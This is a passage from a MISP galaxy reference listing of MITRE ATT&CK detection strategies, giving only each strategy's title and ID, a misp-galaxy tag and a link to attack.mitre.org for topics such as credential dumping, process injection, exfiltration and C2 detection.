https://attack.mitre.org/detectionstrategies/DET0582

Detect LLMNR/NBT-NS Poisoning and SMB Relay on Windows - DET0462

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect LLMNR/NBT-NS Poisoning and SMB Relay on Windows - DET0462"*

Table 10064. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0462

Behavioral Detection for T1490 - Inhibit System Recovery - DET0329

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection for T1490 - Inhibit System Recovery - DET0329"*

Table 10065. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0329

Detection Strategy for T1505 - Server Software Component - DET0547

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1505 - Server Software Component - DET0547"*

Table 10066. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0547

Detection Strategy for Ptrace-Based Process Injection on Linux - DET0203

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Ptrace-Based Process Injection on Linux - DET0203"*

Table 10067. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0203

Multi-Event Detection for SMB Admin Share Lateral Movement - DET0530

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-Event Detection for SMB Admin Share Lateral Movement - DET0530"*

Table 10068. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0530

Detection of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - DET0512

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - DET0512"*

Table 10069. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0512

Unix-like File Permission Manipulation Behavioral Chain Detection Strategy - DET0351

The tag is: *misp-galaxy:x-mitre-detection-strategy="Unix-like File Permission Manipulation Behavioral Chain Detection Strategy - DET0351"*

Table 10070. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0351

Detect Screensaver-Based Persistence via Registry and Execution Chains - DET0154

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Screensaver-Based Persistence via Registry and Execution Chains - DET0154"*

Table 10071. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0154

Multi-Platform File and Directory Permissions Modification Detection Strategy - DET0299

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-Platform File and Directory Permissions Modification Detection Strategy - DET0299"*

Table 10072. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0299

Brute Force Authentication Failures with Multi-Platform Log Correlation - DET0463

The tag is: *misp-galaxy:x-mitre-detection-strategy="Brute Force Authentication Failures with Multi-Platform Log Correlation - DET0463"*

Table 10073. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0463

Cross-Platform Detection of Data Transfer to Cloud Account - DET0573

The tag is: *misp-galaxy:x-mitre-detection-strategy="Cross-Platform Detection of Data Transfer to Cloud Account - DET0573"*

Table 10074. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0573

Detection Strategy for System Services across OS platforms. - DET0279

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for System Services across OS platforms. - DET0279"*

Table 10075. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0279

Detection Strategy for Protocol Tunneling accross OS platforms. - DET0538

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Protocol Tunneling accross OS platforms. - DET0538"*

Table 10076. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0538

Detection of NTDS.dit Credential Dumping from Domain Controllers - DET0586

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of NTDS.dit Credential Dumping from Domain Controllers - DET0586"*

Table 10077. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0586

Detection fo Remote Service Session Hijacking for RDP. - DET0588

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection fo Remote Service Session Hijacking for RDP. - DET0588"*

Table 10078. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0588

Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS - DET0531

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS - DET0531"*

Table 10079. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0531

Behavioral Detection of Publish/Subscribe Protocol Misuse for C2 - DET0002

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Publish/Subscribe Protocol Misuse for C2 - DET0002"*

Table 10080. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0002

Detection Strategy for /proc Memory Injection on Linux - DET0541

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for /proc Memory Injection on Linux - DET0541"*

Table 10081. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0541

Detect malicious IDE extension install/usage and IDE tunneling - DET0561

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect malicious IDE extension install/usage and IDE tunneling - DET0561"*

Table 10082. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0561

Behavioral Detection of Event Triggered Execution Across Platforms - DET0010

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Event Triggered Execution Across Platforms - DET0010"*

Table 10083. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0010

Detection of Persistence Artifact Removal Across Host Platforms - DET0040

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Persistence Artifact Removal Across Host Platforms - DET0040"*

Table 10084. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0040

Detection Strategy for Data Encoding in C2 Channels - DET0108

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Data Encoding in C2 Channels - DET0108"*

Table 10085. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0108

Detection Strategy for Hijack Execution Flow for DLLs - DET0201

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow for DLLs - DET0201"*

Table 10086. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0201

Detection of Local Browser Artifact Access for Reconnaissance - DET0013

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Local Browser Artifact Access for Reconnaissance - DET0013"*

Table 10087. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0013

Detect Unauthorized Access to Cloud Secrets Management Stores - DET0130

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Unauthorized Access to Cloud Secrets Management Stores - DET0130"*

Table 10088. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0130

Detection Strategy for Data from Network Shared Drive - DET0410

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Data from Network Shared Drive - DET0410"*

Table 10089. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0410

Detection of Remote Data Staging Prior to Exfiltration - DET0071

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Remote Data Staging Prior to Exfiltration - DET0071"*

Table 10090. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0071

Detection of System Network Connections Discovery Across Platforms - DET0320

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of System Network Connections Discovery Across Platforms - DET0320"*

Table 10091. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0320

Detection Strategy for Steal or Forge Authentication Certificates - DET0240

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Steal or Forge Authentication Certificates - DET0240"*

Table 10092. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0240

Detect XSL Script Abuse via msxsl and wmic - DET0205

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect XSL Script Abuse via msxsl and wmic - DET0205"*

Table 10093. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0205

Detect Access to Unsecured Credential Files Across Platforms - DET0307

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Access to Unsecured Credential Files Across Platforms - DET0307"*

Table 10094. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0307

Detection of Local Data Collection Prior to Exfiltration - DET0380

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Local Data Collection Prior to Exfiltration - DET0380"*

Table 10095. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0380

Detection Strategy for Dynamic Resolution across OS Platforms - DET0039

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Dynamic Resolution across OS Platforms - DET0039"*

Table 10096. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0039

Detection Strategy for Process Argument Spoofing on Windows - DET0045

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Process Argument Spoofing on Windows - DET0045"*

Table 10097. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0045

Detection of Compromise Software Dependencies and Development Tools - DET0704

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Compromise Software Dependencies and Development Tools - DET0704"*

Table 10098. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0704

Detection of Credential Harvesting via Web Portal Modification - DET0480

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Credential Harvesting via Web Portal Modification - DET0480"*

Table 10099. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0480

Behavioral Detection of Network History and Configuration Tampering - DET0049

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Network History and Configuration Tampering - DET0049"*

Table 10100. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0049

Detection strategy for Group Policy Discovery on Windows - DET0055

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection strategy for Group Policy Discovery on Windows - DET0055"*

Table 10101. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0055

Detection Strategy for Web Service: Dead Drop Resolver - DET0058

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Web Service: Dead Drop Resolver - DET0058"*

Table 10102. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0058

Detect Network Provider DLL Registration and Credential Capture - DET0580

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Network Provider DLL Registration and Credential Capture - DET0580"*

Table 10103. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0580

Behavioral Detection of External Website Defacement across Platforms - DET0590

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of External Website Defacement across Platforms - DET0590"*

Table 10104. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0590

Behavioral Detection Strategy for Exfiltration Over Alternative Protocol - DET0131

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection Strategy for Exfiltration Over Alternative Protocol - DET0131"*

Table 10105. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0131

Detection for Spoofing Security Alerting across OS Platforms - DET0311

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection for Spoofing Security Alerting across OS Platforms - DET0311"*

Table 10106. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0311

Detect Abuse of Windows Time Providers for Persistence - DET0122

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Abuse of Windows Time Providers for Persistence - DET0122"*

Table 10107. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0122

Detection Strategy for T1525 – Implant Internal Image - DET0334

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1525 – Implant Internal Image - DET0334"*

Table 10108. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0334

Behavioral Detection of CLI Abuse on Network Devices - DET0142

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of CLI Abuse on Network Devices - DET0142"*

Table 10109. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0142

Detection Strategy for Hijack Execution Flow: Dylib Hijacking - DET0152

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow: Dylib Hijacking - DET0152"*

Table 10110. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0152

Detection of Local Data Staging Prior to Exfiltration - DET0261

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Local Data Staging Prior to Exfiltration - DET0261"*

Table 10111. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0261

Detection Strategy for Compressed Payload Creation and Execution - DET0281

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Compressed Payload Creation and Execution - DET0281"*

Table 10112. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0281

Detect Persistence via Office Test Registry DLL Injection - DET0315

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Persistence via Office Test Registry DLL Injection - DET0315"*

Table 10113. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0315

Detection of Tainted Content Written to Shared Storage - DET0471

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Tainted Content Written to Shared Storage - DET0471"*

Table 10114. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0471

Behavioral Detection of Command and Scripting Interpreter Abuse - DET0516

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Command and Scripting Interpreter Abuse - DET0516"*

Table 10115. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0516

Automated File and API Collection Detection Across Platforms - DET0186

The tag is: *misp-galaxy:x-mitre-detection-strategy="Automated File and API Collection Detection Across Platforms - DET0186"*

Table 10116. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0186

Behavioral Detection of Unauthorized VNC Remote Control Sessions - DET0178

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Unauthorized VNC Remote Control Sessions - DET0178"*

Table 10117. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0178

Detect Abuse of Container APIs for Credential Access - DET0198

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Abuse of Container APIs for Credential Access - DET0198"*

Table 10118. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0198

Detection Strategy for System Binary Proxy Execution: Regsvr32 - DET0282

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for System Binary Proxy Execution: Regsvr32 - DET0282"*

Table 10119. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0282

Detection of Adversary Abuse of Software Deployment Tools - DET0223

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Adversary Abuse of Software Deployment Tools - DET0223"*

Table 10120. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0223

Detection Strategy for Dynamic Resolution through DNS Calculation - DET0262

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Dynamic Resolution through DNS Calculation - DET0262"*

Table 10121. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0262

Detection Strategy for Masquerading via File Type Modification - DET0226

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Masquerading via File Type Modification - DET0226"*

Table 10122. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0226

Detection Strategy for Polymorphic Code Mutation and Execution - DET0324

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Polymorphic Code Mutation and Execution - DET0324"*

Table 10123. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0324

Detection Strategy for Spearphishing Attachment across OS Platforms - DET0236

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Spearphishing Attachment across OS Platforms - DET0236"*

Table 10124. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0236

Detection Strategy for Encrypted Channel across OS Platforms - DET0273

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Encrypted Channel across OS Platforms - DET0273"*

Table 10125. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0273

Detection Strategy for Disable or Modify Cloud Firewall - DET0424

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Disable or Modify Cloud Firewall - DET0424"*

Table 10126. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0424

Detection Strategy for Login Hook Persistence on macOS - DET0244

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Login Hook Persistence on macOS - DET0244"*

Table 10127. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0244

Detection Strategy for Spearphishing Voice across OS platforms - DET0245

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Spearphishing Voice across OS platforms - DET0245"*

Table 10128. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0245

Detection Strategy for Exfiltration to Text Storage Sites - DET0284

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Exfiltration to Text Storage Sites - DET0284"*

Table 10129. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0284

Behavioral Detection of Fallback or Alternate C2 Channels - DET0499

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Fallback or Alternate C2 Channels - DET0499"*

Table 10130. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0499

Detection Strategy for Role Addition to Cloud Accounts - DET0277

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Role Addition to Cloud Accounts - DET0277"*

Table 10131. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0277

Detection Strategy for Disable or Modify Cloud Logs - DET0289

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Disable or Modify Cloud Logs - DET0289"*

Table 10132. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0289

Detection Strategy for Addition of Email Delegate Permissions - DET0373

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Addition of Email Delegate Permissions - DET0373"*

Table 10133. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0373

Detection Strategy for Masquerading via Account Name Similarity - DET0383

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Masquerading via Account Name Similarity - DET0383"*

Table 10134. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0383

Detection Strategy for Weaken Encryption on Network Devices - DET0339

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Weaken Encryption on Network Devices - DET0339"*

Table 10135. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0339

Detection Strategy for Masquerading via Breaking Process Trees - DET0443

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Masquerading via Breaking Process Trees - DET0443"*

Table 10136. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0443

TCC Database Manipulation via Launchctl and Unprotected SIP - DET0534

The tag is: *misp-galaxy:x-mitre-detection-strategy="TCC Database Manipulation via Launchctl and Unprotected SIP - DET0534"*

Table 10137. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0534

Detect Screen Capture via Commands and API Calls - DET0346

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Screen Capture via Commands and API Calls - DET0346"*

Table 10138. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0346

Detection of Malware Relocation via Suspicious File Movement - DET0439

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Malware Relocation via Suspicious File Movement - DET0439"*

Table 10139. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0439

Endpoint DoS via OS Exhaustion Flood Detection Strategy - DET0356

The tag is: *misp-galaxy:x-mitre-detection-strategy="Endpoint DoS via OS Exhaustion Flood Detection Strategy - DET0356"*

Table 10140. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0356

Detect Access to macOS Keychain for Credential Theft - DET0396

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Access to macOS Keychain for Credential Theft - DET0396"*

Table 10141. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0396

Behavioral Detection of DLL Injection via Windows API - DET0389

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of DLL Injection via Windows API - DET0389"*

Table 10142. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0389

Detection of Proxy Infrastructure Setup and Traffic Bridging - DET0445

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Proxy Infrastructure Setup and Traffic Bridging - DET0445"*

Table 10143. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0445

Enumeration of User or Account Information Across Platforms - DET0587

The tag is: *misp-galaxy:x-mitre-detection-strategy="Enumeration of User or Account Information Across Platforms - DET0587"*

Table 10144. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0587

Detect Modification of Authentication Process via Reversible Encryption - DET0589

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Modification of Authentication Process via Reversible Encryption - DET0589"*

Table 10145. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0589

Detection Strategy for AutoHotKey & AutoIT Abuse - DET0332

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for AutoHotKey & AutoIT Abuse - DET0332"*

Table 10146. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0332

Behavior-Chain Detection for Remote Access Tools (Tool-Agnostic) - DET0496

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-Chain Detection for Remote Access Tools (Tool-Agnostic) - DET0496"*

Table 10147. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0496

Detecting Code Injection via mavinject.exe (App-V Injector) - DET0433

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Code Injection via mavinject.exe (App-V Injector) - DET0433"*

Table 10148. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0433

Detection Strategy for Reflection Amplification DoS (T1498.002) - DET0408

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Reflection Amplification DoS (T1498.002) - DET0408"*

Table 10149. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0408

Detect Abuse of Dynamic Data Exchange (T1559.002) - DET0504

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Abuse of Dynamic Data Exchange (T1559.002) - DET0504"*

Table 10150. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0504

Detect Abuse of Component Object Model (T1559.001) - DET0224

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Abuse of Component Object Model (T1559.001) - DET0224"*

Table 10151. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0224

Behavioral Detection of Visual Basic Execution (VBS/VBA/VBScript) - DET0076

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Visual Basic Execution (VBS/VBA/VBScript) - DET0076"*

Table 10152. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0076

Detect unauthorized or suspicious Hardware Additions (USB/Thunderbolt/Network) - DET0069

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect unauthorized or suspicious Hardware Additions (USB/Thunderbolt/Network) - DET0069"*

Table 10153. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0069

Detection Strategy for Plist File Modification (T1647) - DET0109

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Plist File Modification (T1647) - DET0109"*

Table 10154. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0109

Detect Kerberos Ticket Theft or Forgery (T1558) - DET0522

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Kerberos Ticket Theft or Forgery (T1558) - DET0522"*

Table 10155. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0522

Detect Registry and Startup Folder Persistence (Windows) - DET0365

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Registry and Startup Folder Persistence (Windows) - DET0365"*

Table 10156. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0365

Detect Adversary-in-the-Middle via Network and Configuration Anomalies - DET0296

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Adversary-in-the-Middle via Network and Configuration Anomalies - DET0296"*

Table 10157. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0296

Password Policy Discovery – cross-platform behavior-chain analytics - DET0161

The tag is: *misp-galaxy:x-mitre-detection-strategy="Password Policy Discovery – cross-platform behavior-chain analytics - DET0161"*

Table 10158. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0161

Environmental Keying Discovery-to-Decryption Behavioral Chain Detection Strategy - DET0474

The tag is: *misp-galaxy:x-mitre-detection-strategy="Environmental Keying Discovery-to-Decryption Behavioral Chain Detection Strategy - DET0474"*

Table 10159. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0474

Detection Strategy for T1542.004 Pre-OS Boot: ROMMONkit - DET0175

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1542.004 Pre-OS Boot: ROMMONkit - DET0175"*

Table 10160. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0175

Cross-Platform Behavioral Detection of Scheduled Task/Job Abuse - DET0094

The tag is: *misp-galaxy:x-mitre-detection-strategy="Cross-Platform Behavioral Detection of Scheduled Task/Job Abuse - DET0094"*

Table 10161. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0094

Detection of Kernel/User-Level Rootkit Behavior Across Platforms - DET0377

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Kernel/User-Level Rootkit Behavior Across Platforms - DET0377"*

Table 10162. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0377

Detection of Exfiltration Over Unencrypted Non-C2 Protocol - DET0701

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exfiltration Over Unencrypted Non-C2 Protocol - DET0701"*

Table 10163. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0701

Account Access Removal via Multi-Platform Audit Correlation - DET0120

The tag is: *misp-galaxy:x-mitre-detection-strategy="Account Access Removal via Multi-Platform Audit Correlation - DET0120"*

Table 10164. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0120

Detection of Mutex-Based Execution Guardrails Across Platforms - DET0132

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Mutex-Based Execution Guardrails Across Platforms - DET0132"*

Table 10165. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0132

Detection of Exfiltration Over Unencrypted Non-C2 Protocol - DET0149

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exfiltration Over Unencrypted Non-C2 Protocol - DET0149"*

Table 10166. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0149

Detection of Multi-Platform File Encryption for Impact - DET0215

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Multi-Platform File Encryption for Impact - DET0215"*

Table 10167. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0215

Password Guessing via Multi-Source Authentication Failure Correlation - DET0551

The tag is: *misp-galaxy:x-mitre-detection-strategy="Password Guessing via Multi-Source Authentication Failure Correlation - DET0551"*

Table 10168. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0551

Detection of Non-Application Layer Protocols for C2 - DET0457

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Non-Application Layer Protocols for C2 - DET0457"*

Table 10169. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0457

Multi-Platform Execution Guardrails Environmental Validation Detection Strategy - DET0562

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-Platform Execution Guardrails Environmental Validation Detection Strategy - DET0562"*

Table 10170. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0562

Detecting .NET COM Registration Abuse via Regsvcs/Regasm - DET0361

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting .NET COM Registration Abuse via Regsvcs/Regasm - DET0361"*

Table 10171. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0361

Detecting PowerShell Execution via SyncAppvPublishingServer.vbs Proxy Abuse - DET0440

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting PowerShell Execution via SyncAppvPublishingServer.vbs Proxy Abuse - DET0440"*

Table 10172. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0440

Detection of Malicious Code Execution via InstallUtil.exe - DET0138

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Malicious Code Execution via InstallUtil.exe - DET0138"*

Table 10173. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0138

Detection of Malicious Profile Installation via CMSTP.exe - DET0328

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Malicious Profile Installation via CMSTP.exe - DET0328"*

Table 10174. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0328

Detecting Remote Script Proxy Execution via PubPrn.vbs - DET0528

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Remote Script Proxy Execution via PubPrn.vbs - DET0528"*

Table 10175. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0528

Credential Access via /etc/passwd and /etc/shadow Parsing - DET0446

The tag is: *misp-galaxy:x-mitre-detection-strategy="Credential Access via /etc/passwd and /etc/shadow Parsing - DET0446"*

Table 10176. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0446

Detect Ingress Tool Transfers via Behavioral Chain - DET0060

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Ingress Tool Transfers via Behavioral Chain - DET0060"*

Table 10177. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0060

Behavioral Detection of Input Capture Across Platforms - DET0102

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Input Capture Across Platforms - DET0102"*

Table 10178. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0102

Behavioral Detection for Service Stop across Platforms - DET0021

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection for Service Stop across Platforms - DET0021"*

Table 10179. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0021

Suspicious Addition to Local or Domain Groups - DET0310

The tag is: *misp-galaxy:x-mitre-detection-strategy="Suspicious Addition to Local or Domain Groups - DET0310"*

Table 10180. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0310

Detect Modification of Authentication Processes Across Platforms - DET0104

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Modification of Authentication Processes Across Platforms - DET0104"*

Table 10181. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0104

Detection of Data Staging Prior to Exfiltration - DET0014

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Data Staging Prior to Exfiltration - DET0014"*

Table 10182. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0014

Detect MFA Modification or Disabling Across Platforms - DET0190

